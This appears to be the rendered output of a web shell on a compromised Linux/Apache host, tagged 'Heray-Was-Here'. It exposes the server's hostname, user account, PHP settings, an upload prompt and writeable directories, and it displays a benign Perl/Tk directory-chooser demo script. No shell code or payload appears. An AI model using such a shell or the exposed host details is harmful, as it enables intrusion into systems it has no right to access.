Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/proc/self/root/usr/share/doc/perl-Tk/demos/widget_lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/proc/self/root/usr/share/doc/perl-Tk/demos/widget_lib/choosedir.pl
# This demonstration script prompts the user to select a directory.

use vars qw/$TOP/;

sub choosedir {
    my $demo = shift;

    $TOP = $MW->WidgetDemo
      (
       -name     => $demo,
       -text     => "Enter a directory name in the entry box or click on the \"Browse\" buttons to select a directory name using the directory selection dialog.",
       -title    => 'Choose Directory Demonstration',
       -iconname => 'choosedir',
      );
    {
	my $f = $TOP->Frame;
	my $lab = $f->Label(-text => "Select a directory to open: ",
			    -anchor => 'e');
	my $ent = $f->Entry(-width => 20);
	my $but = $f->Button(-text => "Browse ...",
			     -command => sub { dirDialog($TOP, $ent)});
	$lab->pack(-side => 'left');
	$ent->pack(-side => 'left',-expand => 'yes', -fill => 'x');
	$but->pack(-side => 'left');
	$f->pack(-fill => 'x', -padx => '1c', -pady => 3);
    }
}

sub dirDialog {
    my $w = shift;
    my $ent = shift;
    my $dir;
    $dir = $w->chooseDirectory;
    if (defined $dir and $dir ne '') {
	$ent->delete(0, 'end');
	$ent->insert(0, $dir);
	$ent->xview('end');
    }
}

Hry